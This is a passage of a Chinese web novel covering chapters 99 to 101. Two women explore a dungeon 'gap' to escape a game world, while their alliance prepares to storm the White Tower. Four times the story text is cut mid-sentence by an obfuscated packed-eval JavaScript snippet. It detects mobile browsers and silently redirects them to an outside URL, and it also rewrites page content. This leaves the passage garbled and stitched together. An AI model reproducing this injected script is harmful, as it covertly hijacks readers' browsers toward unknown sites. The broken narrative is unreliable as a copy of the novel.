林屿心底微沉,技能的起源就是这块不明的石头。贺望明显是在收集石头,那么石头对他来说又起什么作用呢? 或许下次可以问,现在她人都在这个异空间,命都保不住,只有离开之后才需要面对这个问题。 …… 三个问题的空档已经大半天过去,林屿拉开门走出去,客厅里已经没人了,玩家联盟攻打白塔不是小事,作为最先发起的组织,空闲的成员都被安排了大大小小的任务,每天忙得不可开交。 空荡荡的屋子一离了人声,就显得冷清没人气,林屿不乐意在里面留,于是准备去天台看看绿植休闲放松。然而刚一上楼,就被一地黄土色糊了满脸。 两个种植者的忙碌下,稻麦在短短十多天内尽数结实变黄,成为等待收割的口粮,严开吉和任向各自拿了一把弯刀收割,萧谷亮一盆盆地把谷粒往外搬,庄建占着天台一角,代了原本守护大本营的孙覃的班。 他看到林屿,立刻露出一副牙疼的表情。 萧谷亮早就不是前些天的饿殍形象,骨肉在充足热量供应下饱满许多,他无处可去,也就顺理成章地留在缺人手的公会里。看见第一个副本的“新人同乡”,他眼睛一亮,“大佬!我当时就看出来你是未来的大佬!没想到你能加入这样深藏不露的公会!” 林屿心说他这是听说了什么传言,还是觉得能发现白蛛的公会肯定深藏不露,被滤镜欺骗所以眼瞎,看不出种植者联盟是个明晃晃的巨大草台班子,里面都是些激进的疯子,为了“离开这里”的目的命都可以不要,从下至上病情逐渐严重,最后搞出了这一场“大事”。当然,她也是其中之一。 她说不出什么赞同的话,只能违心地报以礼貌微笑,还好严开吉及时丢给萧谷亮一捆麦子,把人砸了个趔趄,连忙继续原先的工作去了。 严开吉道:“休息好了吗?我们这里正缺人手,眼看着要开始行动了,只好加班加点料理好田地,能找到出路固然什么也不需要管,但万一呢?总得留点家底吧!” 林屿完全理解并赞同他的话,面上却露出一副疲惫的神色,“我就上来看看,之前技能使用过度,头疼得很,想上来看点绿的……你们忙,我去边上吹吹风。” 那几颗大白菜已经被砍了头,留下一排根茎桩子,要在外面根本没人吃这玩意,但如今的情况下林屿竟然觉得浪费,不过她想到“缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169048|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隙”,定了定神,问道:“何姐什么时候回来?” “应该快了吧?如果顺利的话。”严开吉一手纠住把麦穗,一手割断韧性十足的茎,头也不抬地回答。 林屿没听到什么有用的,注意力放在白塔那边,依然是里三层外三层围着人,但不同的是周围的建筑似乎也被征用,里面潜伏着技能者,专门对付那些在节骨眼上捣乱的人——这些人多半来自玩家公会,全部身负技能,笨的那些想要硬闯光圈以身作死让外面投鼠忌器,聪明的那些会把别人坑违规然后反手举报,是这次计划最大的阻力。 所以白塔围了这么久,出来的人总也绵绵不绝。要是真的不管他们,那这批正义之师的正义就要打个折扣——管你为了自由还是什么,草菅人命这顶帽子扣上正当也成了不义。 听说蓝虹蝶已经回来了,算算时间,今天就是唐瑜妡归来的日子,玩家公会群龙有首拧成一条绳之后,还不知道计划能不能实行呢。 林屿看不清白塔下的人是谁,但换成光团就好辨认多了,亮暗和质感一目了然,何芝就站在人圈内,似乎在专程等人。 或许是观望时机正好,在她注视的这会儿,光圈吐出一个人影,远看模糊成芝麻大一点,可那比旁人黯淡一截的光明晃晃昭示着她的身份——唐瑜妡。 她回来了。 何芝走上前,两人有短暂的交流,随后人墙让出了一条道,唐瑜妡缓缓走出去,回到接应她的人群之中。华浩俊、田子阳也在场,何芝追过去似乎想继续劝,对方却头也不回地跟公会成员一起走了。 林屿心中想着:啊,这下,“缝隙”这条出路似乎更有希望一点。 …… “所以你希望我批准你去特殊副本探索‘缝隙’?”何芝问道。 林屿:“是的,过了隧洞之后NPC没一个留下来,全都只剩下一张蛛网皮,我认为是灵魂和建模分离的表现——如果之前关于NPC本质猜测正确的话。人的灵魂只能短暂停留几天,他们被副本强留了这么久,一到外界肯定会消散,说明过了隧洞就是外界。建模是蛛网这一点也能说通,我们进入副本的时候身上也会裹一层,然后让网络世界的伤害无效化,顺利通关就出来,没通关就带着网被关小黑屋,蜘蛛看上哪个就享用哪个——何姐,你在这里做的失踪人口统计应该可以说明这点。” 何芝眼睛一眯,“你小子,早就知道了?” “猜的,猜的。”林屿卖乖赔笑,躲过刀子似的眼神,“因为在我这批最后的新人到了之后您还继续蹲点统计人口,感觉实在没那个必要,除非你已经知道白城玩家会无故失踪,想从里面找出规律。” 何芝:“你这心思,不来做刑侦可惜了。” 林屿:“我们做科研的也需要心细如发。” 何芝:“…………好吧,我就不问消息怎么来的了,你心里有数就好。和谁去‘缝隙’想好了吗?我最多抽调一个人给你,再多一个也挤不出来了。” 林屿确认道:“谁都可以?” 何芝:“我们公会之内,除了我。” 林屿没有犹豫,“那就杨紫陶吧,她技能好使。” 99.第九十九章 林屿做足了准备,手电筒、绳子、火把、攀岩手套、潜水服和氧气罐都拜托何芝弄来了,加上干粮整整齐齐地码放在背包里。杨紫陶看着精悍靠谱得不行,但竟然在这么重要的时候偷懒,她还说这就是赶着送死,又在林屿想换人的时候死活不同意。 林屿拿这个“线人”没辙,心里觉得何芝多年工作不容易,养出这么个祖宗出来,尤其记挂之前被评“不是好人”的事,存了点找茬的心思,一耽搁,就留了一天。 唐瑜妡回归之后,这几天玩家公会那一堆骚扰白塔的人像是找到了主心骨,暂时偃旗息鼓,回去鼓动老大去了,不知打算搞出什么幺蛾子。 虽然这一天没有继续“闯关”白塔的人,玩家联盟却是一片愁云惨淡,都认为这是暴风雨前的宁静,有的会长甚至建议不管那些人了,直接上去破塔了事。 何芝好不容易拦下这群人,不是为了那些作死的,而是里面有很大一部分是被算计的无辜群众,一些人利用投诉渠道专坑普通人,用他们拖住破塔计划。 林屿已经对众心不齐的联盟不抱乐观态度,在做足探索“缝隙”的准备之后,便去找杨紫陶——这人在离开之前还在兢兢业业地工作,马不停蹄游走于各方势力之间,替何芝收集情报替计划打补丁,简直是不离工位不脱岗的典范。 林屿收拾好东西又背了个包以防系统背包打不开,刚一出门,就听见楼道里一连串的脚步声回荡,以为是何芝回来了,没想到过了拐角一看,尴尬地与这辈子最不想见到的人对上了眼。 唐瑜妡领着两个熟悉得不能再熟悉的人,被推着上到三楼,看样子有事前来拜访。见到副本中抹了自己脖子导致关禁闭七天的对手,也不生气,语气还一点都不见外。 “通知下你的何姐,就说我有事找她。” 林屿:“……” 她忍着牙酸把她迎进门,却见唐瑜妡笑吟吟地回头,“这回我是来和谈的,可千万别再把我砍了。” 听见这话,华浩俊和田子阳看她的脸色都难以形容,好像面前站的是一个杀神刽子手,林屿翻了个白眼转身出门,直接眼不见为净。 桌上茶香袅袅,何芝把家底拿出来待客,自己却囫囵喝着白水。唐瑜妡轻轻放下茶盏,说道:“我的意思就是这样,迟则生变,‘联盟军’加我一个,不要管里面的人了,抓紧这来之不易的机会立刻攻上去。” 昨天何芝明明白白地邀请过,可她完全没搭理,这在自己的预料之内,她本来也是走个形式表示态度,可为什么过了一天这位会长的反应就大变样了?何芝目光落在她的腿上——这个只有在副本中才能自如行走的人应该是最不愿意离开的,那她要求加入是为了什么目的? “可以把话说明白一点吗?毕竟你心思不好猜,短短一天就变化那么大,让人心里没底。”何芝放下水杯。 唐瑜妡:“很显然,你昨天只是说找到离开的办法了,邀请我加入,但没说明白是怎么会事儿,回去之后我才知道白蛛这茬,自然会重新判断优先性——没有谁想困在蠢笨的昆虫笼子里,不是吗?” 何芝:“蜘蛛不属于昆虫,也未必就是这一切的缔造者。” 唐瑜妡:“你非要呛我这一句吗?蜘蛛不是昆虫也近似昆虫,你怀疑背后有人推动,那更要集结所有力量一起对付他了。所以,这么大的事怎么能不带我们公会玩?” 她说得十分轻巧,仿佛整个计划是一场游戏,而她想加入的并不是什么严肃的计划,而是这场盛大的打boss游戏。 何芝没有松动,“因为你们公会一言难尽,计划到现在还不能开始就是拜你们所赐,如果就这样让你们加入,岂不是多了一群内鬼?” “那倒不会,我已经惩罚过那些人了。”唐瑜妡说道,“不信的话,你可以等两天,看看是不是没人再来骚扰了。” 何芝保持怀疑,“你真的愿意合作?自己屁股没坐稳会长的位置,真的能镇住那帮牛鬼蛇神?” “好像说得我很没用似的。”唐瑜妡笑了笑,“没有谁能管住蠢蠢欲动的人心,作为管理者,只需要采取手段让他们不能作为就行了。” “你做了什么?” 唐瑜妡轻描淡写,“只不过把那些捣乱的也一起关进去了,如果你们愿意等,他们大概会是最后一批出来的玩家。” 好手段,一箭双雕,既交出了诚意又整肃了公会内部,这下玩家联盟那些没主见的会长多半会同意她带领公会一起加入,但何芝仍然咬着一件事穷究底里,“这对你又有什么好处呢?你的技能可离不开那些副本。” 唐瑜妡似乎有些头疼地按住额头,“我说,到了这种程度你还咬着不放,是不是犯职业病了?你现在做的是‘政客’,不是‘刑警’,懂吗?” 只有刑警才在意真相。 何芝像是没听懂一样,“你不说,我一定会反对你加进来。” 唐瑜妡嘴唇动了几下,似乎嘀咕了几声“至于吗”“脑袋这么轴”,随后挥手让俩跟班退开了些,挥手让何芝凑近。 她压低声音,“实话告诉你,我必须离开,不然等待我的结局只有‘神秘失踪’。你知道玩家公会的创始人吗?他的技能比我厉害多了,这样的人,却突然一下子不明不白地消失,再也没出现过,你没怀疑为什么吗?你们公会没有这种无故失踪的人吗?” “我没怎么进过小黑屋,这回在里面可不安稳,人在里面不能动,但对周围并不是一无所知,我能感觉到有东西一直在身边窥伺,可我动不了,整整七天不敢睡着,生怕不知不觉地被一口吞了。如果你放出来的消息是真的,完全可以推测出小黑屋就是白蛛的猎食场。” 一天过去,唐瑜妡疲惫未消,眼底发黑,眼白残余未退的血丝,结合昨天她那副更虚的模样,何芝终于无声地叹了口气:白塔,小黑屋,猎食场,多么简单的推理,多么明显的真相,广场每天人来人往,却只有寥寥几人看到内里。 她伸出右手,“那么,唐会长,合作愉快。” …… 林屿费了九牛二虎之力找到杨紫陶,和她乔装打扮一番,蒙上了脸套住了头,没有暴露自己的身份,效仿偷塔的毛贼带着她径直飞进了特殊副本的光圈。 守塔的人已经不单是难民营找来的人了,在两人没入光圈之后,他们阻拦不及,也看不见人脸,只好满腹疑惑地退回去,向各自的会长上报。 “又有作死进去的,唉,究竟图个啥呢?” “不过这技能真酷炫,再来一个还是拦不住,简直是我们的克星。” 两人都不是第一次来特殊副本,三两下完成开局任务解锁地图之后,两人不多言地奔向上回的商城。 一路上几乎没看到什么NPC,各处副本建筑有明显的破坏痕迹,偶尔看到几个结伴的路人,不是身上挂满了武器就是在运送什么物资。两人身上有更重要的任务,知道撞上了没好事,一路走偏僻的地方,就这还看到两拨人打仗。 一方浑身穿着防护服,脸都看不清,一个二个像是复制的一样,不说废话只杀人,而另一边却在骂对方是“提线傀儡”,并且试图弄破他们的衣服,把什么水洒过去。 这一看就是在洒药剂让人觉醒啊,所以言教授的余毒终于让NPC内乱了?让他们牵制住“系统”的精力,让玩家得到筹备的机会? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨紫陶地下头,过了一会儿看着她的眼睛认真说道:“抱歉,是我小心眼了,我本来以为之前违规办事的状是你告的,害我被何芝克扣三天白菜,现在想来是我先入为主错怪了人,其实你性格很好,也不会做这种事。” 她之前领了游说各公会合作的任务,有次在一个讨厌的副会长那里碰了钉子,用手段让他在密谋反对的时候崩了下半身衣服,当时有成员是女士,见合作人这么不靠谱,当即摔门而出,加入了赞同的队伍。 何芝向来不同意这种手段,这件事是怎么传进她耳朵的?杨紫陶思来想去,认为是当时带着孟锦竹的原因,可能孟锦竹说给朋友听了,然后被朋友猜出事情原委,反手告了密。 会做这种事的朋友也就那么几个,但别人要么与她无冤无仇,要么没有这推理的智商,只有经常被她调戏的林屿越看越可疑。 不过现在看来不是她,杨紫陶愧疚得很诚恳。 林屿微笑着接受了道歉,“没关系,我也不知道你是因为这事看我不顺眼,还以为我有什么做得不对,其实我也没有想那么多,叫上你只是因为觉得你靠谱。” 当时何芝问为什么选杨紫陶,林屿记得自己是这么说的。 “一是技能合适,二是因为听到一点传言,比如种植者联盟用下三滥手段促成联合之类的……我也不清楚具体的,只是听外面的人提了几嘴。” 当时杨紫陶已经给她起了第十一个外号昵称,腻得她连续三天午饭没吃好。 杨紫陶更愧疚了。 100.第一百章 “接下来怎么走?”杨紫陶问道。 来处是一片乱石地,要穿过这片暗坑遍布的乱石地才能去到水边上,但这一段开头的路难在找方向和躲避暗坑。 林屿用第二视野仔细看着,倒是能看出些东西,那些让人一脚踩空的虚假地面实际上是到其他副本的通路,她能隔空大致看到里面暗色光团,知道副本的人员分布和数量——如果把副本场地比作一个个看不见轮廓的3D建模,那么其中一个个移动的黑点能够大致勾勒出副本里的形貌。她可以用这个办法分辨副本,甚至认出不远处那个暗坑通向当时的登山副本。 她现在完全能想明白贺望是如何神出鬼没,穿行于各副本之间的了,当然,对她来说,这个能力最重要的作用是避开这些通道。 林屿不至于自己揭发自己,刚才摆弄杨紫陶一道后不打算暴露能看路的能力,于是从自己包里掏出登山杖,学着普通人的模样左敲右敲,做出探路的样子。不过,真正的难点在于找方向。 乱石地坑洼不平,光线非常不充足,一不小心就可能踩上块不稳定的石头,让人摔个狗吃屎,脚下还能看到,但远一点就两眼抹黑,放眼望去模糊成一团,要循着言教授的旧路走谈何容易。 林屿拿着手电筒四下转悠了一圈,眼睛大部分放在地面,不知道在找什么,腰上的绳套发出黯淡荧光,连着一截“荧光线”,倒是不会回不到同伴身边。 “紫陶姐,言教授不是有勇无谋的那种人,到这种不辨路的地方肯定会留下记号,只不过太隐蔽了,我阅历比较浅,可能会错过一些东西。” 杨紫陶也没有二话,她做过警方线人,对一些暗号标记之类的东西有所涉猎,闻言后径直道:“好,我找找看,你待在这里别动。” 说完,她把手上握着的“绳子”往腰上一系,这下跟林屿的造型一模一样,两人平等,终于不再是那个牵绳遛狗的一握一套姿势了,她一手拿着手电,一手用登山棍试探地面,开始仔细勘察每一处蛛丝马迹。 林屿闲下来,用手电筒光到处扫着玩,这处不见天、不着地的空间不知是什么结构,近处一片空旷,远处黑咕隆咚,头顶一片模糊,如果不是标记的喷漆里掺了荧光粉,手电筒一扫就亮得反出强光,她早就弄不清楚自己是从哪过来的。 可惜言教授并没有用什么荧光标记,他当时手上空空,想必留下的线索应当是别的。 她倒不怀疑是不是标记根本不存在,让这趟白跑,林屿记得清清楚楚,言教授走到水边遇到饿殍萧谷亮,特意返回把他送到入口附近,这才让韩舒找到了人,不然他的学生迷路到天荒地老也摸不到水潭的边。更何况杨紫陶说了,她的技能最远三十米,超过三十米绳子就到头了。 所以,言教授必定留下了什么,才让自己能找到回去的路。他的技能可以分辨弱点,用作寻找突破口的方向标,或许也对地下通道有什么感应,但能区分副本和副本之间的不同吗?特殊副本肯定不止一个“缝隙”入口,他能分清这么多入口找到来时的那一个吗? 所以,他必定留下了什么标记,只不过她们得找到标记是什么。 林屿回想起他走两步一摔又狼狈爬起来的模样,猜测:会是衣服纤维吗?会是血迹吗? 随后自己摇了摇头,太容易混淆了,那些跟来的NPC也常常摔跤,用这两样做标记约等于什么标记也不做。 难道是绑起来的衣料,或是画成符号的血迹? 可她刚才没有看到这些。 林屿把光束搭在方才喷漆的地方,荧光亮得刺眼,周围只有几块碎石,任谁也想不到圈中的地方直通副本。 她手电筒都挪开了,忽然又扫回去,疑惑地盯着这里看。 刚才杨紫陶用登山杖扫了一圈,撞飞了几块石头,会不会…… 林屿不由自主走了过去。 恰好这时,杨紫陶大喊一声,“我找到了!教授的标记就是这个!” 她在二十米开外挥手,手臂把光束扫得一亮一暗地闪烁,大概想立刻让队友也知道,扯了扯绳子说:“你快来!”看样子恨不得把林屿拖着拽过来。 林屿放下一块石头,用手捻了捻上面尖利的棱角,从善如流地放回原位,又摸了摸地面,等站起身之后,像是应和同伴的催促一般,莽莽撞撞地向她跑去,连路都忘了探。 “喂!等等!”杨紫陶阻拦不及,就见林屿“嗖”一下踩中一个暗坑,像种萝卜一样掉了下去,连人带光一下子没了。 绳套骤然绷紧,把杨紫陶勒出个弱柳扶风的细腰,差点勒得翻白眼,还好她反应迅速,双手握紧绳索,鞋底踩上一块借力的石头,一寸一寸把绳子往回拉,手背上的青筋都快跟血管一样鼓了。 杨紫陶下盘很稳,再加上林屿来白城之后饿瘦了不少,她很快就把人从坑里拉出来,连拖带扯弄到面前,一脸恨铁不成钢,眼看就是唠叨个不停的架势。 “小林屿子,不是我说你,你也太大意了吧?明明知道地面有洞,还敢直接放开了跑,你说你都这么大个人了……” 林屿正在心里评估这回危机处理,觉得自己果然没选错人……啊不,选错技能,套索果然最适合这种情况,如果换成自己也能把队友拉出来,这样暗坑就造不成危险,就算一个人等会儿下水也多一重保障—— 然后就听见了自己第不知道第几十个腻人的昵称,顿时打了个寒颤,隐晦地翻了个白眼,虚弱地咳了咳,仿佛受了什么伤似的。 杨紫陶顿时就住嘴了,她看着队友惨白的脸色,内心再一次充满愧疚,心里想着:这么莽撞,还是个初出茅庐的年轻人呢,如果真有什么心思早露出马脚来了,所以背后告状的肯定不是她,说起来还有一个可疑的人——韩舒,他不也是孟锦竹的好朋友吗? “你没事吧?”杨紫陶心里的戒备终于完全放下,语气顿时温柔起来,“是受到惊吓了?有没有剐蹭到哪里?” 林屿摇了摇头,直起身,顿时恢复到屁事没有的模样,接上了之前的话题,“你刚才说找到标记了,是什么?” 杨紫陶把光线对准旁边几块碎石,抬了抬下巴,“你看,就是这个。” 林屿蹲下身,拿起最上面一块石头,做了个询问的表情,“我可以翻开来看吗?” “你也发现了?整个石碓算一个标记,下面两块,上面一块,像堆积木一样,但碎石本就各个不同,堆出来造型也不同,所以难找,不过最重要的不是石头堆起来的形状,而是三块石头下面的刻痕。” 林屿挪开石头,果然看到地面上有三道长短不一的划痕,不过地面本来也坑洼不平,划痕也一点都不显眼。 “太难找了,这记号。”杨紫陶感叹。 “两长一短,中间的划痕最短,可能是言字中间的笔划,不过你说得对,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15184843|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个记号确实难找。”林屿蹙眉,这么难找的记号,言教授带着萧谷亮是怎么快速走个来回的?她转动着石块,最上面的那块棱角分明,显得有些尖锐危险。 方才她在始发地也看到了这个标记,只不过上面的石块已经被登山杖撞散,只有地面的划痕,她也不知道散落的石块哪些是原本的记号,不过,也捡到一块特别有棱角的。 忽然,她想到了副本的尸体刷新机制。 “你说,言教授会不会本来留了点其他的,但现在已经看不见了?”林屿把尖石头往手上比了比,“用血迹做显眼的记号,只不过他人离开之后,血迹也被刷新没了。” 杨紫陶眼睛一亮,“很有可能!”随后又愁眉苦脸,“只可惜苦了我们,得慢慢找才找得到路了。” “也不算。”林屿说道,等队友看过来之后解释,“血迹已经发挥一次作用了,至少教授循着印记带回了萧谷亮,救了一个人,我们找仔细一点,把标记都做个记号,后面再来人就方便多了。” “有道理!”杨紫陶被说服了,不再抱怨费眼睛,掏出喷漆就往记号边上喷了一嘴,手电光一扫,反光差点把林屿致盲,比黑暗里的火把还显眼。 杨紫陶:“我走这边,你走那边,距离放在十米到二十米之间,找到之后喷漆。” 林屿:“好。” 杨紫陶转身要走,忽然停下,不放心地转身嘱咐道:“走慢点没关系,注意脚下安全。” 林屿:“好的。” 杨紫陶:“放心,我一定会拉住你的。” 林屿露出无可奈何的微笑,“有你在,我很放心。” 唔,她不怀疑是我告密之后,态度也变得太好点了吧,第一次干这种混淆黑白的事,良心有点隐隐作痛呢。 不过在配合上两人都没有掉链子,小心翼翼地迈步,找路,有条不紊地沿着记号向前,再没有踩中暗坑的事发生。 大半天过去,林屿在黑暗里用手电筒辨认这石头那石头,眼睛都看花了,最后觉得所有石头都长一个样,排成一排在视野余光里跳舞。 周围全然是一成不变的荒弃寂静,人在里面待久了,心里像是压了一块石头,闷得透不过气,期间还总是不小心扫到标记好的荧光,被骤然的亮光晃一下眼,林屿的头昏眼花不是装的,杨紫陶也没好到哪里去,走路都像喝了个微醺一样摇头晃脑。 好在,精疲力竭之前,她们终于走出乱石滩,来到言教授带头下潜的水潭边上。 只不过,两人现在精神已经很疲惫,很难集中精力应对下一个环境的危险,杨紫陶从背包里掏出充气垫,摆弄好之后往地上一放,正要坐上去,忽然戒备地往四周照了一圈手电筒,最后直指光夜透不过的深色水潭,严肃地问道:“你确定这个地方没有危险,不会冒出什么海怪触手之类的?” 林屿心想要是有那堆NPC早就被吃了,瞥见同伴害怕的神色,肯定的话却转了个方向,“我不确定,要不我们走远点?” 杨紫陶二话不说立刻拖着充气垫挪远三十米。 林屿暗笑一声。哦,她怕鬼怪。 杨紫陶找了个空旷的地方,离水潭八十米远,终于有了点安全感,屁股坐上坐垫,顺手把林屿也扯坐下了,双手往脖子后面一枕,“累了吧?休息一天,养足精神再往下吧。” 林屿欣然同意,“我也不想现在下水以身祭河。” 101.第一百零一章 唐瑜妡大义清洗内部搅事者之后,平静持续了好几天,终于,那批刺头和被他们陷害的无辜者刑满释放,而早已准备好的玩家联盟就等在外头,人一露面,立刻被大网兜住,拖出广场,杜绝了某些人再一头扎进去或推人进去的可能性。 这是最后的批次,联盟派人足足守了一整天,再然后,光圈终于像是休眠似的没了任何动静。 副本和小黑屋的玩家终于全部出清,就算白塔塌了,也不会死一个糊涂鬼。 在等待的时间,战术早已商量好,何芝见万事俱备,心里暗暗松了一口气,在传信纸上写下“返回”两个字。 联盟准备攻塔了,这次动静不知道会波及多广的范围,虽然林屿信誓旦旦“缝隙”已经不属于副本,但她们还得通过副本中转,万一副本的入口坍塌,她们会被困在里面的,所以必须在此之前回来。 …… “何姐让我们回去。”杨紫陶啃了几口压缩饼干,仰头灌了一瓶水,面上是吃糠咽菜的了无生趣,然而旁边的同伴这回没跟她同甘共苦,一手变出个汉堡,馋得她刚刚填饱的肚子翻脸不认,呼噜直响。 杨紫陶勉强没让口水淌出来,恨铁不成钢地教育小朋友,“我说你,积分多也不是这样用的吧?多了可以分我点。” 林屿垂着眼,三两口吃完美食,一片菜叶子都没剩,末了拍了拍手,抖着衣服,像是没听见暗示一样,“说笑了,我才过几个副本啊,积分那么少,怎么比得上你积淀下的存货。” “我的积分不还留着以防万一吗?”杨紫陶反驳,“成年人需要点存款,不然公司一倒就要喝西北风,只有小孩子才有多少花多少。” 林屿收拾好纸袋垃圾,抬头问道:“那你考虑过存款成废纸的情况吗?” “什么?”杨紫陶有些没反应过来,“你是说商城继续涨价?那我也可以把积分屯成物资啊!” “我是说白城塌了。”林屿擦了擦嘴,开始收拾睡袋和拿出来的零碎,“或者我们跑出去了……你不怕辛苦攒下的积分浪费?” 杨紫陶眉毛高高挑起,忽然一笑,“原来你对那堆歪瓜裂枣凑出的联盟这么有信心,何姐知道一定会非常欣慰。” 林屿:“原来你心里何姐是歪瓜裂枣,她知道后一定有话对你说。” 杨紫陶反驳:“我说她是歪瓜裂枣的头头!” 林屿:“那也是歪瓜裂枣。” 杨紫陶一脸阴险,“我听清楚了,这是你说的。” 林屿:“……” 发现中套的林屿收拾好睡袋,却唯独拿出了潜水套装和氧气罐——这不是要回去的动作。 “等等,你要做什么?我们得马上回去!”杨紫陶拦住她,“这次不是闹着玩,困住了没有谁来救我们,白塔一倒,副本里死了就是真死,而且我们不是没下过水啊——找不到路,你不明白吗?” 她们来到水潭边已经是两天前的事了,两人下水数次,几乎耗尽氧气,也没能成功找到言教授走过的路。 水下比陆上难走得多,虽然没有那些讨厌的暗坑,没有吃人的鲨鱼,没有有毒的水蛇,也没有吓人的怪物,但里面太黑太宽广了,像是一个黑暗的三维立体空间,到处都是洞穴,到处都是淤泥,人一进去就找不到北,还根本不需要附加什么感官上的干扰。 两人为了辨认方向在水底浪费了大部分时间,却根本找不到言教授留下的标识。 林屿甚至有些怀疑他是不是来不及留下标识,但没有指引,后来者也不知道路怎么走。 杨紫陶已经把技能套索套在她身上了,“你要下水我就把你拖回来,然后就这样拖出副本,想必你不介意穿着紧身衣让大家看。” “我有一个想法。”林屿不理会她的威胁,“之前我们都是两两下水,到绳子的最长范围为止,这回我想一个人下水,不栓绳,自己到处看看,能找到就继续,找不到就上来。” “不行。”杨紫陶断然拒绝,“你以为带上我是干什么的?就是为了不让你做傻事!这地方又不会跑,但外面的形势已经箭在弦上了!下次再来是一样的,要是白塔计划成功,都不需要有下次!” 啊,反应这么激烈。 林屿本以为她也是位不走寻常路的冒险者,突然被这样拒绝有些猝不及防,不过自己还有技能可以用,她开始试探同伴的态度,寻找思想植入的突破口。 “你想啊,我们每回进来和离开都需要献祭六个无辜的灵魂,我们是履行了工作,有了新的发现,甚至得到了积分,但人家呢?他们愿意被这样强制安息?” “无所谓,人死了灵魂本来就要消散的。”杨紫陶收紧了手中的绳索,“你说他们是愿意困着当奴隶还是离开要自由?离开不也是强制安息吗?能成为目标的本来就是选第二条路的。” “你知道‘缝隙’对我们意义重大,万一这次不成功,我们公会就是众矢之的,千古罪人,还不知道会被他们怎么样呢,绝对没有第二次联合玩家的机会。要是这条路能走通,多少可以转移些注意,腾出周转的机会,甚至给大部分人一个逃走的希望。”林屿缓缓说道。 “你希望种植者联盟因为一次失败就此前功尽弃吗?你不希望为何姐分担一些吗?” “少拿何姐压我,你刚才可不是这么想的。”杨紫陶依旧绷着绳索,不让她有逃走的机会,“一转眼就信心不足了?” 林屿叹了口气,“我知道你担心我的安全,但你也威胁不到我,忘了我的技能是什么了?” 话音刚落,她腰上的套索就突然移位,像闹鬼一样套在了旁边一块大石头上。 杨紫陶眉毛皱得快变成一团了,手腕微动,不过最终没有下一步动作。 “我们不出去,何姐是不会同意行动的。” “原来你是担心这个。”林屿一笑,“那倒不会,你现在就可以告诉她,副本塌了我们也不会有事,因为我们已经在现实和游戏的边界上了。” 杨紫陶终于放下手,收回技能,“怎么说?” 林屿:“你看啊,这个水潭就是我们下一步的起点,言教授就是在这里看到萧谷亮的,那同学这么多天不喝水肯定死了,但他不缺水,只是没吃东西,但你忘了副本里的假水止不了渴吗?” 宛如醍醐灌顶般的电流在杨紫陶脑门里乱窜,她一个激灵,手在大腿上“啪”了一声,“所以这个潭水已经属于现实了!” 她差点激动得跳起来,然而热血还没冲上头顶,又忽然想到一个问题,转而疑虑地看向同伴,“可不对啊,那我们为什么还能用积分?” “交界。”林屿言简意赅,“或者说现实中的水流到了这里,我们只需要再多走一步——就可以离开这该死的游戏,回到我们原本的世界。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221500|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【再多走一步。】 杨紫陶内心激烈挣扎,一边觉得很难成功,一边又不甘心这么放弃,最后掏出传信纸,想要写字,手指却犹豫地悬停在上方。 “如果你有办法,我就留下来陪你,如果你没有,我就留下来拦着你。” 林屿:“我有办法。” 【我们找到路了,不用担心,你那边计划照常。】 “所以你打算怎么办?”杨紫陶写完这几个字一抬头,忽然气急败坏地冲向水边,波纹摇荡未平,另一人已经偷偷下水跑了。 …… 林屿回想之前两天的尝试,在大致摸清地形之后,她们用荧光漆标记好了每一处天然石洞,都是杨紫陶守在洞口,她顺着通道走,在套索的30米极限距离内标记好每一处岔路。 这种方法杜绝了迷路的可能,让水下旅程变得十分安全,但在短短30米根本找不到出口,只能说做一个初步摸排。 可是何芝早就私下找杨紫陶说好了,让她看着这大胆的女孩儿,不要冒险,不要冒进,一切以白城行动为主,所以林屿几次反对都被杨紫陶驳回。 这回,林屿不打算让人看着,她一入水立刻用上了飞行技能,身形如箭一般迅速游走,眨眼就离水岸好大一段距离。等到杨紫陶像看孩子的父母一样换好衣服气冲冲下水,她早就跑得没影了。 林屿闭上眼睛回忆,言教授从哪里下的水,向什么方向游了多久,什么时候找到的石洞,旁边的地形是什么样的,这些非常容易被忽视的细节慢慢浮现在脑海,与此一同被感知到的,还有脸颊眉梢,贺望盖上来的掌心温度。 唉,他真的该注意一下社交距离了。 